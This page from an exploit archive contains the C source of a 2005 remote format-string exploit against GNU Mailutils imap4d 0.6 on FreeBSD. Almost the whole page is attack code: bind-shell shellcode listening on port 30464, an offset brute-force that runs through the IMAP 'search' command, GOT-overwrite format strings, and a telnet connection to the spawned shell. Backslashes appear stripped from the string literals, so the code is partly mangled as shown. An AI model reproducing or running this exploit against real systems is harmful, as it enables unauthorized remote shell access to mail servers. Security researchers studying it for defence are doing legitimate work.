[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : GNU Mailutils imap4d 0.6 (search) Remote Format String Exploit (fbsd)
# Published : 2005-09-26
# Author : Angelo Rosiello
# Previous Title : Prozilla <= 1.3.7.4 (ftpsearch) Results Handling Buffer Overflow Exploit
# Next Title : WzdFTPD <= 0.5.4 Remote Command Execution Exploit
/*
* Copyright (c) 2005 Rosiello Security
* http://www.rosiello.org
*
* Permission is granted for the redistribution of this software
* electronically. It may not be edited in any way without the express
* written consent of Rosiello Security.
*
* Disclaimer: The author published the information under the condition
* that is not in the intention of the reader to use them in order to bring
* to himself or others a profit or to bring to others damage.
*
* --------------------------------------------------------------------------
*
* GNU Mailutils 0.6 imap4d 'search' Format String Vulnerability
* iDEFENSE Security Advisory 09.09.05
* www.idefense.com/application/poi/display?id=303&type=vulnerabilities
*
* The GNU mailutils package is a collection of mail-related
* utilities, including local and remote mailbox access services.
* More information is available at the following site:
* http://www.gnu.org/software/mailutils/mailutils.html
*
* This exploit shows the possibility to run arbitrary code
* on FreeBSD machines.
*
* Authors: Johnny Mast and Angelo Rosiello
* e-mails: rave@rosiello.org angelo@rosiello.org
*/
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdarg.h>
#define ISIP(m) (!((int)inet_addr(m) ==-1))
#define clean(x) memset(x, 0 , sizeof x)
char code[] =
"x90x90x90x90"
"x90x90x90x90"
"x90x90x90x90"
"x31xc0" /* xor %eax,%eax */
"x31xc0" /* xor %eax,%eax */
"x50" /* push %eax */
"x31xc0" /* xor %eax,%eax */
"x50" /* push %eax */
"xb0x7e" /* mov $0x7e,%al */
"x50" /* push %eax */
"xcdx80" /* int $0x80 */
"x31xc0" /* xor %eax,%eax */
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"x31xc0" // xorl %eax,%eax
"x31xdb" // xorl %ebx,%ebx
"x31xc9" // xorl %ecx,%ecx
"x31xd2" // xorl %edx,%edx
"xb0x61" // movb $0x61,%al
"x51" // pushl %ecx
"xb1x06" // movb $0x6,%cl
"x51" // pushl %ecx
"xb1x01" // movb $0x1,%cl
"x51" // pushl %ecx
"xb1x02" // movb $0x2,%cl
"x51" // pushl %ecx
"x8dx0cx24" // leal (%esp),%ecx
"x51" // pushl %ecx
"xcdx80" // int $0x80
/* it binds on port 30464 */
/* bind(fd, (struct sockaddr*)&sin, sizeof(sin)) */
"xb1x02" // movb $0x2,%cl
"x31xc9" // xorl %ecx,%ecx
"x51" // pushl %ecx
"x51" // pushl %ecx
"x51" // pushl %ecx
/* port = 0x77, change if needed */
"x80xc1x77" // addb $0x77,%cl
"x66x51" // pushw %cx
"xb5x02" // movb $0x2,%ch
"x66x51" // pushw %cx
"x8dx0cx24" // leal (%esp),%ecx
"xb2x10" // movb $0x10,%dl
"x52" // pushl %edx
"x51" // pushl %ecx
"x50" // pushl %eax
"x8dx0cx24" // leal (%esp),%ecx
"x51" // pushl %ecx
"x89xc2" // movl %eax,%edx
"x31xc0" // xorl %eax,%eax
"xb0x68" // movb $0x68,%al
"xcdx80" // int $0x80
/* listen(fd, 1)*/
"xb3x01" // movb $0x1,%bl
"x53" // pushl %ebx
"x52" // pushl %edx
"x8dx0cx24" // leal (%esp),%ecx
"x51" // pushl %ecx
"x31xc0" // xorl %eax,%eax
"xb0x6a" // movb $0x6a,%al
"xcdx80" // int $0x80
/* cli = accept(fd, 0,0) */
"x31xc0" // xorl %eax,%eax
"x50" // pushl %eax
"x50" // pushl %eax
"x52" // pushl %edx
"x8dx0cx24" // leal (%esp),%ecx
"x51" // pushl %ecx
"x31xc9" // xorl %ecx,%ecx
"xb0x1e" // movb $0x1e,%al
"xcdx80" // int $0x80
/* dup2(cli,0) */
"x89xc3" // movl %eax,%ebx
"x53" // pushl %ebx
"x51" // pushl %ecx
"x31xc0" // xorl %eax,%eax
"xb0x5a" // movb $0x5a,%al
"xcdx80" // int $0x80
/* dup2(cli, 1) */
"x41" // inc %ecx
"x53" // pushl %ebx
"x51" // pushl %ecx
"x31xc0" // xorl %eax,%eax
"xb0x5a" // movb $0x5a,%al
"xcdx80" // int $0x80
/* dup2(cli, 2) */
"x41" // inc %ecx
"x53" // pushl %ebx
"x51" // pushl %ecx
"x31xc0" // xorl %eax,%eax
"xb0x5a" // movb $0x5a,%al
"xcdx80" // int $0x80
/* execve("//bin/sh", ["//bin/sh", NULL], NULL) */
"x31xdb" // xorl %ebx,%ebx
"x53" // pushl %ebx
"x68x6ex2fx73x68" // pushl $0x68732f6e
"x68x2fx2fx62x69" // pushl $0x69622f2f
"x89xe3" // movl %esp,%ebx
"x31xc0" // xorl %eax,%eax
"x50" // pushl %eax
"x54" // pushl %esp
"x53" // pushl %ebx
"x50" // pushl %eax
"xb0x3b" // mov $0x3b,%al
"xcdx80" // int $0x80
/* exit(..) */
"x31xc0" // xorl %eax,%eax
"xb0x01" // mobv $0x1,%al
"xcdx80"; // int $0x80
void usage( int argc, char **argv )
{
fprintf(stdout, "%s usage:nn", argv[0]);
fprintf(stdout, "t-h hostn");
fprintf(stdout, "t-p portn");
fprintf(stdout, "t-l loginn");
fprintf(stdout, "t-a passwordnn");
return;
}
void send_message( int fd, char *msg, ... )
{
char string[2000];
int len;
size_t size;
va_list args;
clean(string);
va_start(args, msg);
len = vsnprintf(string, sizeof(string)-1, msg,args);
len = (len >=0) ? len : 0;
/* Terminating the string */
string[len]=' ';
write(fd, string, len);
return;
}
char *buildstring( long r_addr, long target, int offset, int sock )
{
unsigned char string[512], a[4];
int len;
int high, low, arw;
high = ( target & 0xffff0000 ) >> 16;
low = ( target & 0x0000ffff );
clean(a);
a[0] = (r_addr >> 24) & 0xff;
a[1] = (r_addr >> 16) & 0xff;
a[2] = (r_addr >> 8) & 0xff;
a[3] = (r_addr) & 0xff;
a[4] = ' ';
clean(string);
len = sprintf(string, "3 search topic .%c%c%c%c%%.%dx%%%d$hnn",
(int)a[3]+2,a[2],a[1],a[0],
high -(0x24+13), /* Number of bytes for the first write */
offset /* The Offset to addr */
);
len = (len >=0) ? len : 0;
string[len] = ' ';
write(sock, string, len);
read(sock, string, sizeof(string));
clean(string);
len = sprintf(string, "3 search topic .%c%c%c%c%%.%dx%%%d$hn%sn",
(int) a[3], (int)a[2], (int)a[1],(int)a[0],
low - (0x24 +13),
offset, /* The offset to addr +2 */
code
);
len = (len >=0) ? len : 0;
string[len] = ' ';
write(sock, string, len);
return (char *)strdup(string);
}
void get_addr_as_char( u_int addr, char *buf )
{
*(u_int*)buf = addr;
if (!buf[0]) buf[0]++;
if (!buf[1]) buf[1]++;
if (!buf[2]) buf[2]++;
if (!buf[3]) buf[3]++;
}
static int got_entry = 0x08057a0c+4;
int comun( char *host, struct sockaddr_in sin4 )
{
char *a[4] = { "/usr/bin/telnet", host , "30464", NULL };
execve(a[0],a, NULL);
return 0;
}
void welcome( )
{
fprintf( stdout, "nCopyright (c) 2005 Rosiello Securityn" );
fprintf( stdout, "http://www.rosiello.orgn" );
fprintf( stdout, "imap4d Format String Exploiter for FreeBSDnn" );
}
int main( int argc, char **argv )
{
struct hostent *hp;
struct sockaddr_in sin4;
char shellbuf[1030];
char *host, buffer[512], *ptr, *p, *USER, *PASS;
int ch, port = 0, sock, offset = 1;
int login = 0, i, calc = 0;
int ret = 0, len = 0, b;
int have_shell_loc = 0;
unsigned int shell_addr = (u_int)0x0806c000;
welcome( );
if ( argc < 9 )
{
usage(argc, argv);
exit(EXIT_SUCCESS);
}
if (!(host = malloc (128)))
{
fprintf(stderr, "exp.c:115 Could not allocate memoryn");
exit(EXIT_FAILURE);
}
while((ch = getopt(argc, argv, "h:p:l:a:")) != EOF)
{
switch(ch)
{
case 'h':
host = (char *)strdup(optarg);
break;
case 'V':
break;
case 'p':
port = atoi (optarg);
break;
case 'l':
USER = (char *)optarg;
break;
case 'a':
PASS = (char *)optarg;
break;
default:
usage(argc, argv);
break;
}
}
if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
fprintf(stderr, "exp.c:139 Error creating an new socket");
exit(EXIT_FAILURE);
}
host = (host) ? host : "localhost";
port = (port) ? port : 143;
if (!(ISIP(host)))
{
if (!(hp = gethostbyname(host)))
{
fprintf(stderr, "exp.c:152 Could not resolve ip addressn");
exit(EXIT_FAILURE);
}
memcpy(&sin4.sin_addr,hp->h_addr,hp->h_length);
host = (char *)strdup(inet_ntoa(sin4.sin_addr));
} else
sin4.sin_addr.s_addr = inet_addr(host);
sin4.sin_family = AF_INET;
sin4.sin_port = (unsigned short)htons( port );
fprintf(stdout, "[+] Connecting to %s:%dn", host,port);
if ((connect(sock, (struct sockaddr *)&sin4,sizeof(struct sockaddr))) < 0)
{
fprintf(stderr, "[*] exp.c:178 Connection failedn");
exit(EXIT_FAILURE);
}
fprintf(stdout, "[+] Connected .. n");
fprintf(stdout, "[+] Sending login ... n");
send_message(sock, "1 LOGIN %s %srn", USER, PASS);
fprintf(stdout, "[+] Done ... n");
while ((read(sock, buffer, 512)) > 0)
{
if ( login == 0 && ret == 0)
switch (buffer[0])
{
case '1':
fprintf(stdout, "[+] Selecting inbox ..n");
send_message(sock, "2 Select inboxn");
fprintf(stdout, "[+] Selecting Done .. Starting brute sequencen");
send_message(sock, "3 search topic .AAAABBBB%%%d$xn",offset);
login = 1;
break;
}
if ((ptr=strstr(buffer, "(near")) && login == 1)
{
ptr +=15;
if ((strncmp(ptr, "41414141",8))!=0)
{
offset ++;
send_message(sock, "3 search topic .AAAABBBB%%%d$xn",offset);
}
else
{
fprintf(stdout, "[+] Found offset %dn", offset);
fprintf(stdout, "[+] Finding buffer on the stackn");
ret = 1;
login = 0;
clean(buffer);
}
}
if ( ret == 1 )
{
if ((ptr=strstr(buffer, "(near")))
{
ptr +=6+4 +1; /* +4 for the addr string*/
/* +1 for the junk char */
calc = strlen(buffer) - strlen(ptr);
calc -=6+4+1;
for (i = 0; i < strlen(buffer); i++)
{
if ( (strncmp(ptr, code, strlen(code)))==0 && have_shell_loc !=1)
{
shell_addr += i -4;
have_shell_loc = 1;
sleep(2);
buildstring(got_entry, shell_addr+=3, offset, sock);
fprintf(stdout,"[+] Decoy found at %pn", shell_addr);
close(sock);
fprintf(stdout, "[+] Trying to contact the bind shell ..n");
if((comun(host, sin4)) < 0)
fprintf(stderr, "[-] Exploit failedn");
}
else
++ptr;
}
}
if( shell_addr > 0xc0000000)
break;
shell_addr++;
ptr = ((char *)&shell_addr);
ptr[4] = 0;
if ( strchr(ptr, 0xa) || strchr(ptr, 0xd) || ptr[0]==0x00)
{
shell_addr ++;
ptr = ((char *)&shell_addr);
ptr[4] = 0;
}
while (strlen(ptr) !=4)
{
shell_addr++;
ptr = ((char *)&shell_addr);
ptr[4] = 0;
}
if (have_shell_loc != 1)
{
send_message(sock, "3 search topic .%s....%%%d$s%sCCCCn",ptr,offset,code);
}
}
clean(buffer);
}
fprintf(stderr, "[+] Closing connectionn");
close(sock);
free(host);
fprintf(stderr, "[-] Exploit failed %pn", shell_addr);
return 0;
}
// www.Syue.com [2005-09-26]